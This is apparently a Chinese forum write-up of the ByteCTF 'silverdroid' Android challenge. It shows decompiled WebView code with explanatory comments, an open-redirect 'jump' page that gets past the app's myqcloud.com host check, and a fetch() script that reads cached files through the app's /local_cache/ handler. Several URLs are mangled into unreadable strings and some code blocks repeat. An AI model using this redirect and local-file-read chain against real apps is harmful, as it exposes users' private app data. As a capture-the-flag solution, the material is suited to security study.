return super.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView); //
webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性,能够执行Javascript脚本
webView.loadUrl("db1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1P5i4c8W2j5%4c8X3i4K6u0V1x3e0x3H3x3K6l9%4z5e0V1#2y4q4)9J5k6h3y4G2M7#2)9J5k6h3q4H3i4K6u0V1L8X3q4F1K9X3W2F1k6#2)9J5k6h3#2&6M7h3y4D9L8%4g2V1i4K6u0W2j5$3!0E0i4K6u0r3K9Y4g2E0M7q4)9J5k6h3S2@1L8h3I4Q4x3@1k6#2M7X3I4Q4x3@1b7`. " + uri0);
}
}
}
package com.bytectf.silverdroid;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.HashMap;
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(0x7F0B001C); // layout:activity_main
Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数,可以来自另一个app
if(uri0 != null) { //若参数不为null
WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context
webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时,我们希望目标网页仍然在当前的webview中显示,而不是在浏览器中打开
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//当shouldOverrideUrlLoading返回值为true,拦截webview加载url
try {
Uri uri0 = Uri.parse(url); //解析url
Log.e("Hint", "Try to upload your poc on free COS: d26K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3!0#2k6q4)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8$3y4#2L8h3g2F1N6q4)9J5c8Y4m8J5L8$3c8#2j5%4c8Q4x3V1j5@1x3K6k6Q4x3V1j5$3x3U0b7H3 ");
if(uri0.getScheme().equals("https")) { //scheme必须是https
return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾,返回true,再取反返回false,不会拦截webview加载url
}
}
catch(Exception e) {
e.printStackTrace();
return true;
}
return true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) { //拦截url,js,css等响应阶段,拦截所有的url请求,若返回非空,则不再进行网络资源请求,而是使用返回的资源数据
FileInputStream inputStream;
Uri uri0 = request.getUrl(); //获得js请求的request
if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头
File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件,新建file以cache为目录,uri0的最后一个地址段
//getCacheDir获取手机中/data/data/包名/cache目录;
if(cacheFile.exists()) { //若映射的文件真实存在,则进入下面循环
try {
inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内,之后可以进行读取操作
}
catch(IOException e) {
return null;
}
HashMap headers = new HashMap();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream); //返回响应
}
}
return super.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView); //
webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性,能够执行Javascript脚本
webView.loadUrl("c75K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1P5i4c8W2j5%4c8X3i4K6u0V1x3e0x3H3x3K6l9%4z5e0V1#2y4q4)9J5k6h3y4G2M7#2)9J5k6h3q4H3i4K6u0V1L8X3q4F1K9X3W2F1k6#2)9J5k6h3#2&6M7h3y4D9L8%4g2V1i4K6u0W2j5$3!0E0i4K6u0r3K9Y4g2E0M7q4)9J5k6h3S2@1L8h3I4Q4x3@1k6#2M7X3I4Q4x3@1b7`. " + uri0);
}
}
}
<h1>jump</h1>
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1); //window.location是获得当前页面的url地址,添上search之后表示从"?"开始的url,而substring(1)就是将"?"截掉。
var vars = query.split("&"); //把query以"&"进行分割
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false); //获得url参数
}
var myurl = getQueryVariable("url").toString().toLowerCase();//
if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) { //myurl不能含有myqcloud
window.location.href = myurl; //只表示打开这个url页面,并不是打开且刷新这个页面
}
</script>
<h1>jump</h1>
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1); //window.location是获得当前页面的url地址,添上search之后表示从"?"开始的url,而substring(1)就是将"?"截掉。
var vars = query.split("&"); //把query以"&"进行分割
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false); //获得url参数
}
var myurl = getQueryVariable("url").toString().toLowerCase();//
if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) { //myurl不能含有myqcloud
window.location.href = myurl; //只表示打开这个url页面,并不是打开且刷新这个页面
}
</script>
<script>
async function fetchTest(){
fetch("3adK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0Z5L8$3!0C8i4K6u0W2M7$3W2@1k6g2)9J5c8X3u0X3y4h3q4S2y4X3b7@1i4K6u0V1x3h3t1^5z5g2)9J5k6o6c8W2j5h3k6Q4x3X3c8S2x3h3c8V1i4K6u0V1z5h3t1H3x3o6x3#2y4e0g2U0k6o6V1&6i4K6u0r3i4K6y4r3k6X3I4S2k6#2)9K6c8o6p5J5x3H3`.`. ")}
(async () => {await fetchTest();})();
</script>
<script>
async function fetchTest(){
fetch("7b1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4k6h3u0Z5L8$3!0C8i4K6u0W2M7$3W2@1k6g2)9J5c8X3u0X3y4h3q4S2y4X3b7@1i4K6u0V1x3h3t1^5z5g2)9J5k6o6c8W2j5h3k6Q4x3X3c8S2x3h3c8V1i4K6u0V1z5h3t1H3x3o6x3#2y4e0g2U0k6o6V1&6i4K6u0r3i4K6y4r3k6X3I4S2k6#2)9K6c8o6p5J5x3H3`.`. ")}
(async () => {await fetchTest();})();
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 2022-12-2 21:58
被kanxue编辑
,原因:
上传的附件: